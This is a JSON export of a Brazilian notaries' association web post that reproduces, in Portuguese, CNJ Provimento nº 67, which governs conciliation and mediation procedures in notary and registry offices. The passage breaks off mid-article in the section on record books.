{"id":1150,"date":"2018-03-27T12:27:19","date_gmt":"2018-03-27T15:27:19","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/provimento-no-67-do-cnj-disciplina-conciliacao-e-mediacao-em-cartorios\/"},"modified":"2018-03-27T12:27:19","modified_gmt":"2018-03-27T15:27:19","slug":"provimento-no-67-do-cnj-disciplina-conciliacao-e-mediacao-em-cartorios","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/provimento-no-67-do-cnj-disciplina-conciliacao-e-mediacao-em-cartorios\/","title":{"rendered":"Provimento n\u00ba 67 do CNJ disciplina concilia\u00e7\u00e3o e media\u00e7\u00e3o em cart\u00f3rios"},"content":{"rendered":"<p style=\"text-align: justify;\">Confira a &iacute;ntegra do Provimento n&ordm; 67 do CNJ:<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><em>Disp&otilde;e sobre os procedimentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o nos servi&ccedil;os notariais e de registro do Brasil.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>O CORREGEDOR NACIONAL DA JUSTI&Ccedil;A, usando de suas atribui&ccedil;&otilde;es constitucionais, legais e regimentais e<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO o poder de fiscaliza&ccedil;&atilde;o e de normatiza&ccedil;&atilde;o do Poder Judici&aacute;rio dos atos praticados por seus &oacute;rg&atilde;os (art. 103-B, &sect; 4&ordm;, I, II e III, da Constitui&ccedil;&atilde;o Federal de 1988);<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO a compet&ecirc;ncia do Poder Judici&aacute;rio de fiscalizar os servi&ccedil;os notariais e de registro (arts. 103-B, &sect; 4&ordm;, I e III, e 236, &sect; 1&ordm;, da Constitui&ccedil;&atilde;o Federal);<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO a compet&ecirc;ncia da Corregedoria Nacional de Justi&ccedil;a de expedir provimentos e outros atos normativos destinados ao aperfei&ccedil;oamento das atividades dos servi&ccedil;os notariais e de registro (art. 8&ordm;, X, do Regimento Interno do Conselho Nacional de Justi&ccedil;a);<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO a obriga&ccedil;&atilde;o dos not&aacute;rios e registradores de cumprir as normas t&eacute;cnicas estabelecidas pelo Poder Judici&aacute;rio (arts. 37 e 38 da Lei n. 8.935, de 18 de novembro de 1994);<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO a incumb&ecirc;ncia do Conselho Nacional de Justi&ccedil;a de consolidar uma pol&iacute;tica p&uacute;blica permanente de incentivo e aperfei&ccedil;oamento dos mecanismos consensuais de solu&ccedil;&atilde;o de lit&iacute;gios (Resolu&ccedil;&atilde;o CNJ n. 125, de 29 de novembro de 2010);<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO a efetividade da concilia&ccedil;&atilde;o e da media&ccedil;&atilde;o como instrumentos de pacifica&ccedil;&atilde;o social, solu&ccedil;&atilde;o e preven&ccedil;&atilde;o de lit&iacute;gios;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO a necessidade de organiza&ccedil;&atilde;o e uniformiza&ccedil;&atilde;o de normas e procedimentos afetos aos servi&ccedil;os de concilia&ccedil;&atilde;o, media&ccedil;&atilde;o e a outros m&eacute;todos consensuais de solu&ccedil;&atilde;o de conflitos, a serem prestados, de forma facultativa, pelos servi&ccedil;os notariais e de registro;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>CONSIDERANDO as disposi&ccedil;&otilde;es do C&oacute;digo de Processo Civil, da Lei n. 13.140, de 26 de junho de 2015, as sugest&otilde;es e aquiesc&ecirc;ncia da Comiss&atilde;o de Acesso &agrave; Justi&ccedil;a e Cidadania (CAJC), do Conselho Nacional de Justi&ccedil;a, bem como a decis&atilde;o proferida nos autos do Pedido de Provid&ecirc;ncias n. 0005163-92.2017.2.00.0000,<\/em><\/p>\n<p style=\"text-align: justify;\"><em>RESOLVE:<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o I<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Das Regras Gerais<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 1&ordm; Dispor sobre os procedimentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o nos servi&ccedil;os notariais e de registro do Brasil.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 2&ordm; Os procedimentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o nos servi&ccedil;os notariais e de registro ser&atilde;o facultativos e dever&atilde;o observar os requisitos previstos neste provimento, sem preju&iacute;zo do disposto na Lei n. 13.140\/2015.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 3&ordm; As corregedorias-gerais de justi&ccedil;a dos Estados e do Distrito Federal e dos Territ&oacute;rios manter&atilde;o em seu site listagem p&uacute;blica dos servi&ccedil;os notariais e de registro autorizados para os procedimentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o, indicando os nomes dos conciliadores e mediadores, de livre escolha das partes.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 4&ordm; O processo de autoriza&ccedil;&atilde;o dos servi&ccedil;os notariais e de registro para a realiza&ccedil;&atilde;o de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o dever&aacute; ser regulamentado pelos N&uacute;cleos Permanentes de M&eacute;todos Consensuais de Solu&ccedil;&atilde;o de Conflitos (NUPEMEC) e pelas corregedorias-gerais de justi&ccedil;a (CGJ) dos Estados e do Distrito Federal e dos Territ&oacute;rios.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Os servi&ccedil;os notariais e de registro poder&atilde;o solicitar autoriza&ccedil;&atilde;o espec&iacute;fica para que o servi&ccedil;o seja prestado, sob supervis&atilde;o do delegat&aacute;rio, por no m&aacute;ximo cinco escreventes habilitados.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 5&ordm; Os procedimentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o ser&atilde;o fiscalizados pela CGJ e pelo juiz coordenador do Centro Judici&aacute;rio de Solu&ccedil;&atilde;o de Conflitos e Cidadania (CEJUSC) da jurisdi&ccedil;&atilde;o a que estejam vinculados os servi&ccedil;os notariais e de registro.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; O NUPEMEC manter&aacute; cadastro de conciliadores e mediadores habilitados, do qual dever&atilde;o constar dados relevantes de atua&ccedil;&atilde;o, tais como o n&uacute;mero de causas de que participou, o sucesso ou insucesso da atividade, a mat&eacute;ria sobre a qual versou a controv&eacute;rsia, al&eacute;m de outras informa&ccedil;&otilde;es que julgar relevantes.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Os dados colhidos na forma do par&aacute;grafo anterior ser&atilde;o classificados sistematicamente pelo NUPEMEC, que os publicar&aacute;, ao menos anualmente, para conhecimento da popula&ccedil;&atilde;o e para fins estat&iacute;sticos e de avalia&ccedil;&atilde;o da concilia&ccedil;&atilde;o e da media&ccedil;&atilde;o pelos servi&ccedil;os notariais e de registro e de seus conciliadores e mediadores.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 6&ordm; Somente poder&atilde;o atuar como conciliadores ou mediadores aqueles que forem formados em curso para o desempenho das fun&ccedil;&otilde;es, observadas as diretrizes curriculares estabelecidas no Anexo I da Resolu&ccedil;&atilde;o CNJ n. 125\/2010, com a reda&ccedil;&atilde;o dada pela Emenda n. 2, de 8 de mar&ccedil;o de 2016.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; O curso de forma&ccedil;&atilde;o mencionado no caput deste artigo ser&aacute; custeado pelos servi&ccedil;os notariais e de registro e ser&aacute; ofertado pelas escolas judiciais ou por institui&ccedil;&atilde;o formadora de mediadores judiciais, nos termos do art. 11 da Lei n. 13.140\/2015, regulamentada pela Resolu&ccedil;&atilde;o ENFAM n. 6 de 21 de novembro de 2016.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Os tribunais de justi&ccedil;a dos Estados e do Distrito Federal e dos Territ&oacute;rios poder&atilde;o credenciar associa&ccedil;&otilde;es, escolas e institutos vinculados aos servi&ccedil;os notariais e de registro n&atilde;o integrantes do Poder Judici&aacute;rio para que realizem, sob supervis&atilde;o, o curso de forma&ccedil;&atilde;o mencionado no caput deste artigo, desde que respeitados os par&acirc;metros estabelecidos pela Resolu&ccedil;&atilde;o ENFAM n. 6\/2016.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; Os conciliadores e mediadores autorizados a prestar o servi&ccedil;o dever&atilde;o, a cada 2 (dois) anos, contados da autoriza&ccedil;&atilde;o, comprovar &agrave; CGJ e ao NUPEMEC a que est&atilde;o vinculados a realiza&ccedil;&atilde;o de curso de aperfei&ccedil;oamento em concilia&ccedil;&atilde;o e em media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>4&ordm; A admiss&atilde;o, como conciliadores ou mediadores, daqueles que comprovarem a realiza&ccedil;&atilde;o do curso de forma&ccedil;&atilde;o mencionado no caput deste artigo promovido por entidade n&atilde;o integrante do Poder Judici&aacute;rio e anterior &agrave; edi&ccedil;&atilde;o deste provimento ser&aacute; condicionada a pr&eacute;vio treinamento e aperfei&ccedil;oamento (art. 12, &sect; 1&ordm;, da Resolu&ccedil;&atilde;o CNJ n. 125\/2010).<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 7&ordm; O conciliador e o mediador observar&atilde;o os princ&iacute;pios e regras previstos na Lei n. 13.140\/2015, no art. 166 do CPC e no C&oacute;digo de &Eacute;tica de Conciliadores e Mediadores (Anexo III da Resolu&ccedil;&atilde;o CNJ n. 125\/2010).<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 8&ordm; Toda e qualquer informa&ccedil;&atilde;o revelada na sess&atilde;o de concilia&ccedil;&atilde;o ou media&ccedil;&atilde;o ser&aacute; confidencial, salvo as hip&oacute;teses do art. 30 da Lei n. 13.140\/2015<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; O dever de confidencialidade aplica-se ao conciliador, ao mediador, &agrave;s partes, a seus prepostos, advogados, assessores t&eacute;cnicos e a outras pessoas que tenham, direta ou indiretamente, participado dos procedimentos.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; N&atilde;o ser&aacute; protegida pela regra de confidencialidade a informa&ccedil;&atilde;o relativa &agrave; ocorr&ecirc;ncia de crime de a&ccedil;&atilde;o p&uacute;blica.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; A confidencialidade n&atilde;o afastar&aacute; o dever de prestar informa&ccedil;&otilde;es &agrave; administra&ccedil;&atilde;o tribut&aacute;ria<\/em><\/p>\n<p style=\"text-align: justify;\"><em>4&ordm; Ser&atilde;o vedados para fim diverso daquele expressamente deliberado pelas partes o registro, a divulga&ccedil;&atilde;o e a utiliza&ccedil;&atilde;o das informa&ccedil;&otilde;es apresentadas no curso do procedimento.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 9&ordm; Aos que atuarem como conciliadores e mediadores aplicar-se-&atilde;o as regras de impedimento e suspei&ccedil;&atilde;o, nos termos do disposto nos arts. 148, II, 167, &sect; 5&ordm;, 172 e 173 do CPC e 5&ordm; a 8&ordm; da Lei n. 11.340\/2015, devendo, quando constatadas essas circunst&acirc;ncias, ser informadas aos envolvidos, interrompendo-se a sess&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Not&aacute;rios e registradores poder&atilde;o prestar servi&ccedil;os profissionais relacionados com suas atribui&ccedil;&otilde;es &agrave;s partes envolvidas em sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o de sua responsabilidade.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o II<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Das Partes<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 10. Podem participar da concilia&ccedil;&atilde;o e da media&ccedil;&atilde;o como requerente ou requerido a pessoa natural absolutamente capaz, a pessoa jur&iacute;dica e os entes despersonalizados a que a lei confere capacidade postulat&oacute;ria.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; A pessoa natural poder&aacute; ser representada por procurador devidamente constitu&iacute;do, mediante instrumento p&uacute;blico ou particular com poderes para transigir e com firma reconhecida.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; A pessoa jur&iacute;dica e o empres&aacute;rio individual poder&atilde;o ser representados por preposto, munido de carta de preposi&ccedil;&atilde;o com poderes para transigir e com firma reconhecida, sem necessidade da exist&ecirc;ncia de v&iacute;nculo empregat&iacute;cio.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; Dever&aacute; ser exigida da pessoa jur&iacute;dica a prova de representa&ccedil;&atilde;o mediante a exibi&ccedil;&atilde;o dos seus atos constitutivos.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>4&ordm; Os entes despersonalizados poder&atilde;o ser representados conforme previsto em lei.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 11. As partes poder&atilde;o ser assistidas por advogados ou defensores p&uacute;blicos munidos de instrumento de mandato com poderes especiais para o ato.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Comparecendo uma das partes desacompanhada de advogado ou de defensor p&uacute;blico, o conciliador ou mediador suspender&aacute; o procedimento at&eacute; que todas estejam devidamente assistidas.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o III<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Do Objeto<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 12. Os direitos dispon&iacute;veis e os indispon&iacute;veis que admitam transa&ccedil;&atilde;o poder&atilde;o ser objeto de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o, o qual poder&aacute; versar sobre todo o conflito ou parte dele.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; A concilia&ccedil;&atilde;o e a media&ccedil;&atilde;o que envolvam direitos indispon&iacute;veis, mas transig&iacute;veis, dever&atilde;o ser homologadas em ju&iacute;zo, na forma do art. 725, VIII, do CPC e do art. 3&ordm;, &sect; 2&ordm;, da Lei n. 13.140\/2015.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Na hip&oacute;tese do par&aacute;grafo anterior, o cart&oacute;rio encaminhar&aacute; ao ju&iacute;zo competente o termo de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o e os documentos que instru&iacute;ram o procedimento e, posteriormente, em caso de homologa&ccedil;&atilde;o, entregar&aacute; o termo homologado diretamente &agrave;s partes.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o IV<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Do Requerimento<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 13. O requerimento de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o poder&aacute; ser dirigido a qualquer servi&ccedil;o notarial ou de registro de acordo com as respectivas compet&ecirc;ncias (art. 42 da Lei n. 13.140\/2015).<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Admitir-se-&aacute; a formula&ccedil;&atilde;o de requerimento conjunto firmado pelos interessados.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 14. S&atilde;o requisitos m&iacute;nimos do requerimento de realiza&ccedil;&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o:<\/em><\/p>\n<p style=\"text-align: justify;\"><em>I &ndash; qualifica&ccedil;&atilde;o do requerente, em especial, o nome ou denomina&ccedil;&atilde;o social, endere&ccedil;o, telefone e e-mail de contato, n&uacute;mero da carteira de identidade e do cadastro de pessoas f&iacute;sicas (CPF) ou do cadastro nacional de pessoa jur&iacute;dica (CNPJ) na Secretaria da Receita Federal, conforme o caso;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>II &ndash; dados suficientes da outra parte para que seja poss&iacute;vel sua identifica&ccedil;&atilde;o e convite;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>III &ndash; a indica&ccedil;&atilde;o de meio id&ocirc;neo de notifica&ccedil;&atilde;o da outra parte;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>IV &ndash; narrativa sucinta do conflito e, se houver, proposta de acordo;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>V &ndash; outras informa&ccedil;&otilde;es relevantes, a crit&eacute;rio do requerente.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; Para os fins do caput deste artigo, os servi&ccedil;os notariais e de registro poder&atilde;o disponibilizar aos usu&aacute;rios, por interm&eacute;dio da rede mundial de computadores ou presencialmente, um formul&aacute;rio-padr&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Caber&aacute; ao requerente oferecer tantas c&oacute;pias do requerimento quantas forem as partes interessadas, caso n&atilde;o opte pelo meio eletr&ocirc;nico como forma de notifica&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; Ser&atilde;o de inteira responsabilidade do requerente a veracidade e corre&ccedil;&atilde;o dos dados fornecidos relacionados nos incisos I a V deste artigo.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 15. Ap&oacute;s o recebimento e protocolo do requerimento, se, em exame formal, for considerado n&atilde;o preenchido algum dos requisitos previstos no art. 14 deste provimento, o requerente ser&aacute; notificado, preferencialmente por meio eletr&ocirc;nico, para sanar o v&iacute;cio no prazo de 10 (dez) dias, marcando-se nova data para audi&ecirc;ncia, se necess&aacute;rio.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; Persistindo o n&atilde;o cumprimento de qualquer dos requisitos, o conciliador ou o mediador rejeitar&aacute; o pedido.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; A in&eacute;rcia do requerente acarretar&aacute; o arquivamento do pedido por aus&ecirc;ncia de interesse.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 16. No ato do requerimento, o requerente pagar&aacute; emolumentos referentes a uma sess&atilde;o de media&ccedil;&atilde;o de at&eacute; 60 (sessenta) minutos.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 17. A distribui&ccedil;&atilde;o do requerimento ser&aacute; anotada no livro de protocolo de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o conforme a ordem cronol&oacute;gica de apresenta&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 18. Ao receber o requerimento, o servi&ccedil;o notarial ou de registro designar&aacute;, de imediato, data e hora para a realiza&ccedil;&atilde;o da sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o e dar&aacute; ci&ecirc;ncia dessas informa&ccedil;&otilde;es ao apresentante do pedido, dispensando-se a notifica&ccedil;&atilde;o do requerente.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; A ci&ecirc;ncia a que se refere o caput deste artigo recair&aacute; na pessoa do apresentante do requerimento, ainda que n&atilde;o seja ele o requerente.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Ao apresentante do requerimento ser&aacute; dado recibo do protocolo e de todos os valores recebidos a t&iacute;tulo de dep&oacute;sito pr&eacute;vio.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 19. A notifica&ccedil;&atilde;o da parte requerida ser&aacute; realizada por qualquer meio id&ocirc;neo de comunica&ccedil;&atilde;o, devendo ocorrer preferencialmente por meio eletr&ocirc;nico, por carta com AR ou notifica&ccedil;&atilde;o por oficial de registro de t&iacute;tulos e documentos do domic&iacute;lio de quem deva receb&ecirc;-la.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; O servi&ccedil;o notarial ou de registro informar&aacute; ao requerente os meios id&ocirc;neos de comunica&ccedil;&atilde;o permitidos e respectivos custos.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; O requerente arcar&aacute; com o custo da notifica&ccedil;&atilde;o; no entanto, se for feita por meio eletr&ocirc;nico, n&atilde;o ser&aacute; cobrada.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; O custo do envio da carta com AR n&atilde;o poder&aacute; ser superior ao praticado pela Empresa Brasileira de Correios e Tel&eacute;grafos e o custo da notifica&ccedil;&atilde;o por oficial de registro de t&iacute;tulos e documentos ser&aacute; o previsto na tabela de emolumentos.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 20. O servi&ccedil;o notarial ou de registro remeter&aacute;, com notifica&ccedil;&atilde;o, c&oacute;pia do requerimento &agrave; parte requerida, esclarecendo, desde logo, que sua participa&ccedil;&atilde;o na sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o ser&aacute; facultativa e conceder&aacute; prazo de 10 (dez) dias para que, querendo, indique, por escrito, nova data e hor&aacute;rio, caso n&atilde;o possa comparecer &agrave; sess&atilde;o designada.<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Para a conveni&ecirc;ncia dos trabalhos, o servi&ccedil;o notarial ou de registro poder&aacute; manter contato com as partes no intuito de designar data de comum acordo para a sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o V<\/em><\/p>\n<p style=\"text-align: justify;\">\n<em>Das Sess&otilde;es<\/em><\/p>\n<p style=\"text-align: justify;\">\n<em>Art. 21. Os servi&ccedil;os notariais e de registro manter&atilde;o espa&ccedil;o reservado em suas depend&ecirc;ncias para a realiza&ccedil;&atilde;o das sess&otilde;es de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o durante o hor&aacute;rio de atendimento ao p&uacute;blico.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; Na data e hora designados para a realiza&ccedil;&atilde;o da sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o, realizado o chamamento nominal das partes e constatado o n&atilde;o comparecimento de qualquer delas, o requerimento ser&aacute; arquivado.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; N&atilde;o se aplicar&aacute; o disposto no par&aacute;grafo anterior se estiverem preenchidos, cumulativamente, os seguintes requisitos:<\/em><\/p>\n<p style=\"text-align: justify;\"><em>I &ndash; pluralidade de requerentes ou de requeridos;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>II &ndash; comparecimento de ao menos duas partes contr&aacute;rias com o intuito de transigir;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>III &ndash; identifica&ccedil;&atilde;o formal da viabilidade de eventual acordo.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; A sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o ter&aacute; efic&aacute;cia apenas entre as partes presentes.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 22. Obtido o acordo, ser&aacute; lavrado termo de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o e as partes presentes assinar&atilde;o a &uacute;ltima folha do termo, rubricando as demais. Finalizado o procedimento, o termo ser&aacute; arquivado no livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Ser&aacute; fornecida via do termo de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o a cada uma das partes presentes &agrave; sess&atilde;o, que ser&aacute; considerado documento p&uacute;blico com for&ccedil;a de t&iacute;tulo executivo extrajudicial, nos termos do art. 784, IV, do CPC.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 23. A n&atilde;o obten&ccedil;&atilde;o de acordo n&atilde;o impedir&aacute; a realiza&ccedil;&atilde;o de novas sess&otilde;es de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o at&eacute; que finalizadas as tratativas.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 24. O pedido ser&aacute; arquivado, independentemente de anu&ecirc;ncia da parte contr&aacute;ria, se o requerente solicitar, a qualquer tempo e por escrito, a desist&ecirc;ncia do pedido.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; Solicitada a desist&ecirc;ncia, o requerimento ser&aacute; arquivado em pasta pr&oacute;pria, n&atilde;o subsistindo a obrigatoriedade de sua conserva&ccedil;&atilde;o quando for microfilmado ou gravado por processo eletr&ocirc;nico de imagens.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Presumir-se-&aacute; a desist&ecirc;ncia do requerimento se o requerente, ap&oacute;s notificado, n&atilde;o se manifestar no prazo de 30 (trinta) dias.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 25. Em caso de n&atilde;o obten&ccedil;&atilde;o do acordo ou de desist&ecirc;ncia do requerimento antes da sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o, o procedimento ser&aacute; arquivado pelo servi&ccedil;o notarial ou de registro, que anotar&aacute; essa circunst&acirc;ncia no livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o VI<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Dos Livros<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 26. Os servi&ccedil;os notariais e de registro optantes pela presta&ccedil;&atilde;o do servi&ccedil;o criar&atilde;o livro de protocolo espec&iacute;fico para recebimento de requerimentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; O livro de protocolo, com trezentas folhas, ser&aacute; aberto, numerado, autenticado e encerrado pelo oficial do servi&ccedil;o notarial e de registro, podendo ser utilizado, para tal fim, processo mec&acirc;nico de autentica&ccedil;&atilde;o previamente aprovado pela autoridade judici&aacute;ria competente.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Do livro de protocolo dever&atilde;o constar os seguintes dados:<\/em><\/p>\n<p style=\"text-align: justify;\"><em>I &ndash; o n&uacute;mero de ordem, que seguir&aacute; indefinidamente nos livros da mesma esp&eacute;cie;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>II &ndash; a data da apresenta&ccedil;&atilde;o do requerimento;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>III &ndash; o nome do requerente;<\/em><\/p>\n<p style=\"text-align: justify;\"><em>IV &ndash; a natureza da media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 27. Os servi&ccedil;os notariais e de registro que optarem por prestar o servi&ccedil;o dever&atilde;o instituir livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o, cuja abertura atender&aacute; &agrave;s normas estabelecidas pelas corregedorias-gerais de justi&ccedil;a dos Estados e do Distrito Federal e dos Territ&oacute;rios.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; Os termos de audi&ecirc;ncia de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o ser&atilde;o lavrados em livro exclusivo, vedada sua utiliza&ccedil;&atilde;o para outros fins.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Os livros obedecer&atilde;o aos modelos de uso corrente, aprovados pelo ju&iacute;zo da vara de registros p&uacute;blicos.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; Os n&uacute;meros de ordem dos termos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o n&atilde;o ser&atilde;o interrompidos ao final de cada livro, mas continuar&atilde;o indefinidamente nos seguintes da mesma esp&eacute;cie.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>4&ordm; Poder&aacute; ser adotado simultaneamente mais de um livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o para lavratura de audi&ecirc;ncias por meio eletr&ocirc;nico.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>5&ordm; Dever&aacute; ser adotado pelos servi&ccedil;os notariais e de registro livro de carga f&iacute;sico, no qual ser&atilde;o correlacionados os escreventes e os livros quando o servi&ccedil;o utilizar, concomitantemente, mais de um livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>6&ordm; O livro sob a responsabilidade de um escrevente &eacute; de seu uso exclusivo, permitida a utiliza&ccedil;&atilde;o por outro escrevente apenas com autoriza&ccedil;&atilde;o pr&eacute;via do not&aacute;rio e do registrador, lan&ccedil;ada e datada no livro de carga.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 28. O livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o ter&aacute; trezentas folhas, permitido o acr&eacute;scimo apenas para evitar a inconveni&ecirc;ncia de cis&atilde;o do ato.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; Al&eacute;m do timbre do servi&ccedil;o notarial e de registro, todas as folhas conter&atilde;o o n&uacute;mero do livro e do termo de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o correspondentes, numeradas em ordem crescente por sistema mec&acirc;nico ou eletr&ocirc;nico.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Eventual erro material na numera&ccedil;&atilde;o das folhas poder&aacute; ser corrigido pelo not&aacute;rio ou registrador, devendo constar do termo de 